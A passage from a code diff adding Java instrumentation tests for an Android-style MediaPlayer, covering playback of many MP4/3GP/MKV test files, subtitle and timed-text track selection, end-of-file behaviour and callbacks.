+        playLoadedVideoTest("video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz.mp4",
+                480, 360);
+    }
+
+    @Test
+    public void testLocalVideo_MP4_H264_480x360_1350kbps_30fps_AAC_Stereo_128kbps_44110Hz_frag()
+            throws Exception {
+        playLoadedVideoTest(
+                "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz_fragmented.mp4",
+                480, 360);
+    }
+
+
+    @Test
+    public void testLocalVideo_MP4_H264_480x360_1350kbps_30fps_AAC_Stereo_192kbps_44110Hz()
+            throws Exception {
+        playLoadedVideoTest("video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4",
+                480, 360);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Mono_24kbps_11025Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz.3gp", 176,
+                144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Mono_24kbps_22050Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_22050hz.3gp", 176,
+                144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Stereo_24kbps_11025Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_11025hz.3gp",
+                176, 144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Stereo_24kbps_22050Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_22050hz.3gp",
+                176, 144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Stereo_128kbps_11025Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_11025hz.3gp",
+                176, 144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_56kbps_12fps_AAC_Stereo_128kbps_22050Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_22050hz.3gp",
+                176, 144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Mono_24kbps_11025Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_11025hz.3gp", 176,
+                144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Mono_24kbps_22050Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_22050hz.3gp", 176,
+                144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Stereo_24kbps_11025Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_11025hz.3gp",
+                176, 144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Stereo_24kbps_22050Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_22050hz.3gp",
+                176, 144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Stereo_128kbps_11025Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_25fps_aac_stereo_128kbps_11025hz.3gp",
+                176, 144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_56kbps_25fps_AAC_Stereo_128kbps_22050Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_56kbps_25fps_aac_stereo_128kbps_22050hz.3gp",
+                176, 144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Mono_24kbps_11025Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_12fps_aac_mono_24kbps_11025hz.3gp", 176,
+                144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Mono_24kbps_22050Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_12fps_aac_mono_24kbps_22050hz.3gp", 176,
+                144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Stereo_24kbps_11025Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_24kbps_11025hz.3gp",
+                176, 144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Stereo_24kbps_22050Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_24kbps_22050hz.3gp",
+                176, 144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Stereo_128kbps_11025Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_11025hz.3gp",
+                176, 144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_300kbps_12fps_AAC_Stereo_128kbps_22050Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp",
+                176, 144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Mono_24kbps_11025Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_25fps_aac_mono_24kbps_11025hz.3gp", 176,
+                144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Mono_24kbps_22050Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_25fps_aac_mono_24kbps_22050hz.3gp", 176,
+                144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Stereo_24kbps_11025Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_25fps_aac_stereo_24kbps_11025hz.3gp",
+                176, 144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Stereo_24kbps_22050Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_25fps_aac_stereo_24kbps_22050hz.3gp",
+                176, 144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Stereo_128kbps_11025Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz.3gp",
+                176, 144);
+    }
+
+    @Test
+    public void testLocalVideo_3gp_H263_176x144_300kbps_25fps_AAC_Stereo_128kbps_22050Hz()
+            throws Exception {
+        playLoadedVideoTest("video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_22050hz.3gp",
+                176, 144);
+    }
+
+    @Test
+    public void testLocalVideo_cp1251_3_a_ms_acm_mp3() throws Exception {
+        playLoadedVideoTest("cp1251_3_a_ms_acm_mp3.mkv", -1, -1);
+    }
+
+    @Test
+    public void testLocalVideo_mkv_audio_pcm_be() throws Exception {
+        playLoadedVideoTest("mkv_audio_pcms16be.mkv", -1, -1);
+    }
+
+    @Test
+    public void testLocalVideo_mkv_audio_pcm_le() throws Exception {
+        playLoadedVideoTest("mkv_audio_pcms16le.mkv", -1, -1);
+    }
+
+    @Test
+    public void testLocalVideo_segment000001_m2ts()
+            throws Exception {
+        if (checkLoadResource("segment000001.ts")) {
+            mMediaPlayer.stop();
+            assertTrue(checkLoadResource("segment000001_m2ts.mp4"));
+            playLoadedVideo(320, 240, 0);
+        } else {
+            MediaUtils.skipTest("no mp2 support, skipping m2ts");
+        }
+    }
+
+    private void readSubtitleTracks() throws Exception {
+        mSubtitleTrackIndex.clear();
+        MediaPlayer.TrackInfo[] trackInfos = mMediaPlayer.getTrackInfo();
+        if (trackInfos == null || trackInfos.length == 0) {
+            return;
+        }
+
+        Vector<Integer> subtitleTrackIndex = new Vector<>();
+        for (int i = 0; i < trackInfos.length; ++i) {
+            assertNotNull(trackInfos[i]);
+            if (trackInfos[i].getTrackType() == MediaPlayer.TrackInfo.MEDIA_TRACK_TYPE_SUBTITLE) {
+                subtitleTrackIndex.add(i);
+            }
+        }
+
+        mSubtitleTrackIndex.addAll(subtitleTrackIndex);
+    }
+
+    private void selectSubtitleTrack(int index) throws Exception {
+        int trackIndex = mSubtitleTrackIndex.get(index);
+        mMediaPlayer.selectTrack(trackIndex);
+        mSelectedSubtitleIndex = index;
+    }
+
+    private void deselectSubtitleTrack(int index) throws Exception {
+        int trackIndex = mSubtitleTrackIndex.get(index);
+        mMediaPlayer.deselectTrack(trackIndex);
+        if (mSelectedSubtitleIndex == index) {
+            mSelectedSubtitleIndex = -1;
+        }
+    }
+
+    @Test
+    public void testDeselectTrackForSubtitleTracks() throws Throwable {
+        if (!checkLoadResource("testvideo_with_2_subtitle_tracks.mp4")) {
+            return; // skip;
+        }
+
+        getInstrumentation().waitForIdleSync();
+
+        mMediaPlayer.setOnSubtitleDataListener((mp, data) -> {
+            if (data != null && data.getData() != null) {
+                mOnSubtitleDataCalled.signal();
+            }
+        });
+        mMediaPlayer.setOnInfoListener((mp, what, extra) -> {
+            if (what == MediaPlayer.MEDIA_INFO_METADATA_UPDATE) {
+                mOnInfoCalled.signal();
+            }
+            return false;
+        });
+
+        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
+        mMediaPlayer.setScreenOnWhilePlaying(true);
+        mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+        mMediaPlayer.prepare();
+        mMediaPlayer.start();
+        assertTrue(mMediaPlayer.isPlaying());
+
+        // Closed caption tracks are in-band.
+        // So, those tracks will be found after processing a number of frames.
+        mOnInfoCalled.waitForSignal(1500);
+
+        mOnInfoCalled.reset();
+        mOnInfoCalled.waitForSignal(1500);
+
+        readSubtitleTracks();
+
+        // Run twice to check if repeated selection-deselection on the same track works well.
+        for (int i = 0; i < 2; i++) {
+            // Waits until at least one subtitle is fired. Timeout is 2.5 seconds.
+            selectSubtitleTrack(i);
+            mOnSubtitleDataCalled.reset();
+            assertTrue(mOnSubtitleDataCalled.waitForSignal(2500));
+
+            // Try deselecting track.
+            deselectSubtitleTrack(i);
+            mOnSubtitleDataCalled.reset();
+            assertFalse(mOnSubtitleDataCalled.waitForSignal(1500));
+        }
+
+        try {
+            deselectSubtitleTrack(0);
+            fail("Deselecting unselected track: expected RuntimeException, " +
+                 "but no exception has been triggered.");
+        } catch (RuntimeException e) {
+            // expected
+        }
+
+        mMediaPlayer.stop();
+    }
+
+    @Test
+    public void testChangeSubtitleTrack() throws Throwable {
+        if (!checkLoadResource("testvideo_with_2_subtitle_tracks.mp4")) {
+            return; // skip;
+        }
+
+        mMediaPlayer.setOnSubtitleDataListener((mp, data) -> {
+            if (data != null && data.getData() != null) {
+                mOnSubtitleDataCalled.signal();
+            }
+        });
+        mMediaPlayer.setOnInfoListener((mp, what, extra) -> {
+            if (what == MediaPlayer.MEDIA_INFO_METADATA_UPDATE) {
+                mOnInfoCalled.signal();
+            }
+            return false;
+        });
+
+        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
+        mMediaPlayer.setScreenOnWhilePlaying(true);
+        mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+        mMediaPlayer.prepare();
+        mMediaPlayer.start();
+        assertTrue(mMediaPlayer.isPlaying());
+
+        // Closed caption tracks are in-band.
+        // So, those tracks will be found after processing a number of frames.
+        mOnInfoCalled.waitForSignal(1500);
+
+        mOnInfoCalled.reset();
+        mOnInfoCalled.waitForSignal(1500);
+
+        readSubtitleTracks();
+
+        // Waits until at least two captions are fired. Timeout is 2.5 sec.
+        selectSubtitleTrack(0);
+        assertTrue(mOnSubtitleDataCalled.waitForCountedSignals(2, 2500) >= 2);
+
+        mOnSubtitleDataCalled.reset();
+        selectSubtitleTrack(1);
+        assertTrue(mOnSubtitleDataCalled.waitForCountedSignals(2, 2500) >= 2);
+
+        mMediaPlayer.stop();
+    }
+
+    @Test
+    public void testOnSubtitleDataListener() throws Throwable {
+        if (!checkLoadResource("testvideo_with_2_subtitle_tracks.mp4")) {
+            return; // skip;
+        }
+
+        mMediaPlayer.setOnSubtitleDataListener((mp, data) -> {
+            if (data != null && data.getData() != null
+                    && data.getTrackIndex() == mSubtitleTrackIndex.get(0)) {
+                mOnSubtitleDataCalled.signal();
+            }
+        });
+        mMediaPlayer.setOnInfoListener((mp, what, extra) -> {
+            if (what == MediaPlayer.MEDIA_INFO_METADATA_UPDATE) {
+                mOnInfoCalled.signal();
+            }
+            return false;
+        });
+
+        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
+        mMediaPlayer.setScreenOnWhilePlaying(true);
+        mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+        mMediaPlayer.prepare();
+        mMediaPlayer.start();
+        assertTrue(mMediaPlayer.isPlaying());
+
+        // Closed caption tracks are in-band.
+        // So, those tracks will be found after processing a number of frames.
+        mOnInfoCalled.waitForSignal(1500);
+
+        mOnInfoCalled.reset();
+        mOnInfoCalled.waitForSignal(1500);
+
+        readSubtitleTracks();
+
+        // Waits until at least two captions are fired. Timeout is 2.5 sec.
+        selectSubtitleTrack(0);
+        assertTrue(mOnSubtitleDataCalled.waitForCountedSignals(2, 2500) >= 2);
+
+        // Check if there is no more notification after clearing listener.
+        mMediaPlayer.clearOnSubtitleDataListener();
+        mMediaPlayer.seekTo(0);
+        mMediaPlayer.start();
+        mOnSubtitleDataCalled.reset();
+        Thread.sleep(2500);
+        assertEquals(0, mOnSubtitleDataCalled.getNumSignal());
+
+        mMediaPlayer.stop();
+    }
+
+    @Presubmit
+    @Test
+    public void testGetTrackInfoForVideoWithSubtitleTracks() throws Throwable {
+        if (!checkLoadResource("testvideo_with_2_subtitle_tracks.mp4")) {
+            return; // skip;
+        }
+
+        getInstrumentation().waitForIdleSync();
+
+        mMediaPlayer.setOnInfoListener((mp, what, extra) -> {
+            if (what == MediaPlayer.MEDIA_INFO_METADATA_UPDATE) {
+                mOnInfoCalled.signal();
+            }
+            return false;
+        });
+
+        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
+        mMediaPlayer.setScreenOnWhilePlaying(true);
+        mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+        mMediaPlayer.prepare();
+        mMediaPlayer.start();
+        assertTrue(mMediaPlayer.isPlaying());
+
+        // The media metadata will be changed while playing since closed caption tracks are in-band
+        // and those tracks will be found after processing a number of frames. These tracks will be
+        // found within one second.
+        mOnInfoCalled.waitForSignal(1500);
+
+        mOnInfoCalled.reset();
+        mOnInfoCalled.waitForSignal(1500);
+
+        readSubtitleTracks();
+        assertEquals(2, mSubtitleTrackIndex.size());
+
+        mMediaPlayer.stop();
+    }
+
+    private void readTimedTextTracks() throws Exception {
+        mTimedTextTrackIndex.clear();
+        MediaPlayer.TrackInfo[] trackInfos = mMediaPlayer.getTrackInfo();
+        if (trackInfos == null || trackInfos.length == 0) {
+            return;
+        }
+
+        Vector<Integer> externalTrackIndex = new Vector<>();
+        for (int i = 0; i < trackInfos.length; ++i) {
+            assertNotNull(trackInfos[i]);
+            if (trackInfos[i].getTrackType() == MediaPlayer.TrackInfo.MEDIA_TRACK_TYPE_TIMEDTEXT) {
+                MediaFormat format = trackInfos[i].getFormat();
+                String mime = format.getString(MediaFormat.KEY_MIME);
+                if (MediaPlayer.MEDIA_MIMETYPE_TEXT_SUBRIP.equals(mime)) {
+                    externalTrackIndex.add(i);
+                } else {
+                    mTimedTextTrackIndex.add(i);
+                }
+            }
+        }
+
+        mTimedTextTrackIndex.addAll(externalTrackIndex);
+    }
+
+    private int getTimedTextTrackCount() {
+        return mTimedTextTrackIndex.size();
+    }
+
+    private void selectTimedTextTrack(int index) throws Exception {
+        int trackIndex = mTimedTextTrackIndex.get(index);
+        mMediaPlayer.selectTrack(trackIndex);
+        mSelectedTimedTextIndex = index;
+    }
+
+    private void deselectTimedTextTrack(int index) throws Exception {
+        int trackIndex = mTimedTextTrackIndex.get(index);
+        mMediaPlayer.deselectTrack(trackIndex);
+        if (mSelectedTimedTextIndex == index) {
+            mSelectedTimedTextIndex = -1;
+        }
+    }
+
+    @Test
+    public void testDeselectTrackForTimedTextTrack() throws Throwable {
+        if (!checkLoadResource("testvideo_with_2_timedtext_tracks.3gp")) {
+            return; // skip;
+        }
+        runOnUiThread(() -> {
+            try {
+                loadSubtitleSource("test_subtitle1_srt.3gp");
+            } catch (Exception e) {
+                throw new AssertionFailedError(e.getMessage());
+            }
+        });
+        getInstrumentation().waitForIdleSync();
+
+        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
+        mMediaPlayer.setScreenOnWhilePlaying(true);
+        mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+        mMediaPlayer.setOnTimedTextListener((mp, text) -> {
+            if (text != null) {
+                String plainText = text.getText();
+                if (plainText != null) {
+                    mOnTimedTextCalled.signal();
+                    Log.d(LOG_TAG, "text: " + plainText.trim());
+                }
+            }
+        });
+        mMediaPlayer.prepare();
+        readTimedTextTracks();
+        assertEquals(getTimedTextTrackCount(), 3);
+
+        mMediaPlayer.start();
+        assertTrue(mMediaPlayer.isPlaying());
+
+        // Run twice to check if repeated selection-deselection on the same track works well.
+        for (int i = 0; i < 2; i++) {
+            // Waits until at least one subtitle is fired. Timeout is 1.5 sec.
+            selectTimedTextTrack(0);
+            mOnTimedTextCalled.reset();
+            assertTrue(mOnTimedTextCalled.waitForSignal(1500));
+
+            // Try deselecting track.
+            deselectTimedTextTrack(0);
+            mOnTimedTextCalled.reset();
+            assertFalse(mOnTimedTextCalled.waitForSignal(1500));
+        }
+
+        // Run the same test for external subtitle track.
+        for (int i = 0; i < 2; i++) {
+            selectTimedTextTrack(2);
+            mOnTimedTextCalled.reset();
+            assertTrue(mOnTimedTextCalled.waitForSignal(1500));
+
+            // Try deselecting track.
+            deselectTimedTextTrack(2);
+            mOnTimedTextCalled.reset();
+            assertFalse(mOnTimedTextCalled.waitForSignal(1500));
+        }
+
+        try {
+            deselectTimedTextTrack(0);
+            fail("Deselecting unselected track: expected RuntimeException, " +
+                 "but no exception has been triggered.");
+        } catch (RuntimeException e) {
+            // expected
+        }
+
+        mMediaPlayer.stop();
+    }
+
+    @Test
+    public void testChangeTimedTextTrack() throws Throwable {
+        testChangeTimedTextTrackWithSpeed(1.0f);
+    }
+
+    @Test
+    public void testChangeTimedTextTrackFast() throws Throwable {
+        testChangeTimedTextTrackWithSpeed(2.0f);
+    }
+
+    private void testChangeTimedTextTrackWithSpeed(float speed) throws Throwable {
+        testTimedText("testvideo_with_2_timedtext_tracks.3gp", 2,
+                new String[] {"test_subtitle1_srt.3gp", "test_subtitle2_srt.3gp"},
+                new VerifyAndSignalTimedText(),
+                () -> {
+                    selectTimedTextTrack(0);
+                    mOnTimedTextCalled.reset();
+
+                    mMediaPlayer.start();
+                    if (speed != 1.0f) {
+                        mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(speed));
+                    }
+
+                    assertTrue(mMediaPlayer.isPlaying());
+
+                    // Waits until at least two subtitles are fired. Timeout is 2.5 sec.
+                    // Please refer the test srt files:
+                    // test_subtitle1_srt.3gp and test_subtitle2_srt.3gp
+                    assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
+
+                    selectTimedTextTrack(1);
+                    mOnTimedTextCalled.reset();
+                    assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
+
+                    selectTimedTextTrack(2);
+                    mOnTimedTextCalled.reset();
+                    assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
+
+                    selectTimedTextTrack(3);
+                    mOnTimedTextCalled.reset();
+                    assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
+                    mMediaPlayer.stop();
+
+                    assertEquals("Wrong bounds count", 2, mBoundsCount);
+                    return null;
+                });
+    }
+
+    @Test
+    public void testSeekWithTimedText() throws Throwable {
+        AtomicInteger iteration = new AtomicInteger(5);
+        AtomicInteger num = new AtomicInteger(10);
+        try {
+            Bundle args = InstrumentationRegistry.getArguments();
+            num.set(Integer.parseInt(args.getString("num", "10")));
+            iteration.set(Integer.parseInt(args.getString("iteration", "5")));
+        } catch (Exception e) {
+            Log.w(LOG_TAG, "bad num/iteration arguments, using default", e);
+        }
+        testTimedText("testvideo_with_2_timedtext_tracks.3gp", 2, new String [] {},
+                new VerifyAndSignalTimedText(num.get(), true),
+                () -> {
+                    selectTimedTextTrack(0);
+                    mOnSeekCompleteCalled.reset();
+                    mOnTimedTextCalled.reset();
+                    OnSeekCompleteListener seekListener = mp -> mOnSeekCompleteCalled.signal();
+                    mMediaPlayer.setOnSeekCompleteListener(seekListener);
+                    mMediaPlayer.start();
+                    assertTrue(mMediaPlayer.isPlaying());
+                    int n = num.get();
+                    for (int i = 0; i < iteration.get(); ++i) {
+                        assertEquals(n, mOnTimedTextCalled.waitForCountedSignals(n, 15000));
+                        mOnTimedTextCalled.reset();
+                        mMediaPlayer.seekTo(0);
+                        mOnSeekCompleteCalled.waitForSignal();
+                        mOnSeekCompleteCalled.reset();
+                    }
+                    mMediaPlayer.stop();
+                    return null;
+                });
+    }
+
+    private void testTimedText(
+            String resource, int numInternalTracks, String[] subtitleResources,
+            OnTimedTextListener onTimedTextListener, Callable<?> testBody) throws Throwable {
+        if (!checkLoadResource(resource)) {
+            return; // skip;
+        }
+
+        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
+        mMediaPlayer.setScreenOnWhilePlaying(true);
+        mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+        mMediaPlayer.setOnTimedTextListener(onTimedTextListener);
+        mBoundsCount = 0;
+
+        mMediaPlayer.prepare();
+        assertFalse(mMediaPlayer.isPlaying());
+        runOnUiThread(() -> {
+            try {
+                readTimedTextTracks();
+            } catch (Exception e) {
+                throw new AssertionFailedError(e.getMessage());
+            }
+        });
+        getInstrumentation().waitForIdleSync();
+        assertEquals(getTimedTextTrackCount(), numInternalTracks);
+
+        runOnUiThread(() -> {
+            try {
+                // Adds two more external subtitle files.
+                for (String subRes : subtitleResources) {
+                    loadSubtitleSource(subRes);
+                }
+                readTimedTextTracks();
+            } catch (Exception e) {
+                throw new AssertionFailedError(e.getMessage());
+            }
+        });
+        getInstrumentation().waitForIdleSync();
+        assertEquals(getTimedTextTrackCount(), numInternalTracks + subtitleResources.length);
+
+        testBody.call();
+    }
+
+    @Presubmit
+    @Test
+    public void testGetTrackInfoForVideoWithTimedText() throws Throwable {
+        if (!checkLoadResource("testvideo_with_2_timedtext_tracks.3gp")) {
+            return; // skip;
+        }
+        runOnUiThread(() -> {
+            try {
+                loadSubtitleSource("test_subtitle1_srt.3gp");
+                loadSubtitleSource("test_subtitle2_srt.3gp");
+            } catch (Exception e) {
+                throw new AssertionFailedError(e.getMessage());
+            }
+        });
+        getInstrumentation().waitForIdleSync();
+        mMediaPlayer.prepare();
+        mMediaPlayer.start();
+
+        readTimedTextTracks();
+        selectTimedTextTrack(2);
+
+        int count = 0;
+        MediaPlayer.TrackInfo[] trackInfos = mMediaPlayer.getTrackInfo();
+        assertTrue(trackInfos != null && trackInfos.length != 0);
+        for (MediaPlayer.TrackInfo trackInfo : trackInfos) {
+            assertNotNull(trackInfo);
+            if (trackInfo.getTrackType() == MediaPlayer.TrackInfo.MEDIA_TRACK_TYPE_TIMEDTEXT) {
+                String trackLanguage = trackInfo.getLanguage();
+                assertNotNull(trackLanguage);
+                trackLanguage = trackLanguage.trim();
+                Log.d(LOG_TAG, "track info lang: " + trackLanguage);
+                assertTrue("Should not see empty track language with our test data.",
+                        trackLanguage.length() > 0);
+                count++;
+            }
+        }
+        // There are 4 subtitle tracks in total in our test data.
+        assertEquals(4, count);
+    }
+
+    /*
+     *  This test assumes the resources being tested are between 8 and 14 seconds long
+     *  The ones being used here are 10 seconds long.
+     */
+    @Test
+    public void testResumeAtEnd() throws Throwable {
+        int testsRun =
+            testResumeAtEnd("loudsoftmp3.mp3") +
+            testResumeAtEnd("loudsoftwav.wav") +
+            testResumeAtEnd("loudsoftogg.ogg") +
+            testResumeAtEnd("loudsoftitunes.m4a") +
+            testResumeAtEnd("loudsoftfaac.m4a") +
+            testResumeAtEnd("loudsoftaac.aac");
+        if (testsRun == 0) {
+            MediaUtils.skipTest("no decoder found");
+        }
+    }
+
+    // returns 1 if test was run, 0 otherwise
+    private int testResumeAtEnd(final String res) throws Throwable {
+        if (!loadResource(res)) {
+            Log.i(LOG_TAG, "testResumeAtEnd: No decoder found for " + res + " --- skipping.");
+            return 0; // skip
+        }
+        mMediaPlayer.prepare();
+        mOnCompletionCalled.reset();
+        mMediaPlayer.setOnCompletionListener(mp -> {
+            mOnCompletionCalled.signal();
+            mMediaPlayer.start();
+        });
+        // skip the first part of the file so we reach EOF sooner
+        mMediaPlayer.seekTo(5000);
+        mMediaPlayer.start();
+        // sleep long enough that we restart playback at least once, but no more
+        Thread.sleep(10000);
+        assertTrue("MediaPlayer should still be playing", mMediaPlayer.isPlaying());
+        mMediaPlayer.reset();
+        assertEquals("wrong number of repetitions", 1, mOnCompletionCalled.getNumSignal());
+        return 1;
+    }
+
+    @Test
+    public void testPositionAtEnd() throws Throwable {
+        int testsRun =
+            testPositionAtEnd("test1m1shighstereo.mp3") +
+            testPositionAtEnd("loudsoftmp3.mp3") +
+            testPositionAtEnd("loudsoftwav.wav") +
+            testPositionAtEnd("loudsoftogg.ogg") +
+            testPositionAtEnd("loudsoftitunes.m4a") +
+            testPositionAtEnd("loudsoftfaac.m4a") +
+            testPositionAtEnd("loudsoftaac.aac");
+        if (testsRun == 0) {
+            MediaUtils.skipTest(LOG_TAG, "no decoder found");
+        }
+    }
+
+    private int testPositionAtEnd(final String res) throws Throwable {
+        if (!loadResource(res)) {
+            Log.i(LOG_TAG, "testPositionAtEnd: No decoder found for " + res + " --- skipping.");
+            return 0; // skip
+        }
+        mMediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);
+        mMediaPlayer.prepare();
+        int duration = mMediaPlayer.getDuration();
+        assertTrue("resource too short", duration > 6000);
+        mOnCompletionCalled.reset();
+        mMediaPlayer.setOnCompletionListener(mp -> mOnCompletionCalled.signal());
+        mMediaPlayer.seekTo(duration - 5000);
+        mMediaPlayer.start();
+        while (mMediaPlayer.isPlaying()) {
+            Log.i("@@@@", "position: " + mMediaPlayer.getCurrentPosition());
+            Thread.sleep(500);
+        }
+        Log.i("@@@@", "final position: " + mMediaPlayer.getCurrentPosition());
+        assertTrue(mMediaPlayer.getCurrentPosition() > duration - 1000);
+        mMediaPlayer.reset();
+        return 1;
+    }
+
+    @Test
+    public void testCallback() throws Throwable {
+        final int mp4Duration = 8484;
+
+        if (!checkLoadResource("testvideo.3gp")) {
+            return; // skip;
+        }
+
+        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
+        mMediaPlayer.setScreenOnWhilePlaying(true);
+
+        mMediaPlayer.setOnVideoSizeChangedListener(
+                (mp, width, height) -> mOnVideoSizeChangedCalled.signal());
+
+        mMediaPlayer.setOnPreparedListener(mp -> mOnPrepareCalled.signal());
+
+        mMediaPlayer.setOnSeekCompleteListener(mp -> mOnSeekCompleteCalled.signal());
+
+        mOnCompletionCalled.reset();
+        mMediaPlayer.setOnCompletionListener(mp -> mOnCompletionCalled.signal());
+
+        mMediaPlayer.setOnErrorListener((mp, what, extra) -> {
+            mOnErrorCalled.signal();
+            return false;
+        });
+
+        mMediaPlayer.setOnInfoListener((mp, what, extra) -> {
+            mOnInfoCalled.signal();
+            return false;
+        });
+
+        assertFalse(mOnPrepareCalled.isSignalled());
+        assertFalse(mOnVideoSizeChangedCalled.isSignalled());
+        mMediaPlayer.prepare();
+        mOnPrepareCalled.waitForSignal();
+        mOnVideoSizeChangedCalled.waitForSignal();
+        mOnSeekCompleteCalled.reset();
+        mMediaPlayer.seekTo(mp4Duration >> 1);
+        mOnSeekCompleteCalled.waitForSignal();
+        assertFalse(mOnCompletionCalled.isSignalled());
+        mMediaPlayer.start();
+        while(mMediaPlayer.isPlaying()) {
+            Thread.sleep(SLEEP_TIME);
+        }
+        assertFalse(mMediaPlayer.isPlaying());
+        mOnCompletionCalled.waitForSignal();
+        assertFalse(mOnErrorCalled.isSignalled());
+        mMediaPlayer.stop();
+        mMediaPlayer.start();
+        mOnErrorCalled.waitForSignal();
+    }
+
+    @Test
+    public void testRecordAndPlay() throws Exception {
+        if (!hasMicrophone()) {
+            MediaUtils.skipTest(LOG_TAG, "no microphone");
+            return;
+        }
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_AUDIO_AMR_NB)
+                || !MediaUtils.checkEncoder(MediaFormat.MIMETYPE_AUDIO_AMR_NB)) {
+            return; // skip
+        }
+        File outputFile = new File(Environment.getExternalStorageDirectory(),
+                "record_and_play.3gp");
+        String outputFileLocation = outputFile.getAbsolutePath();
+        try {
+            recordMedia(outputFileLocation);
+            MediaPlayer mp = new MediaPlayer();
+            try {
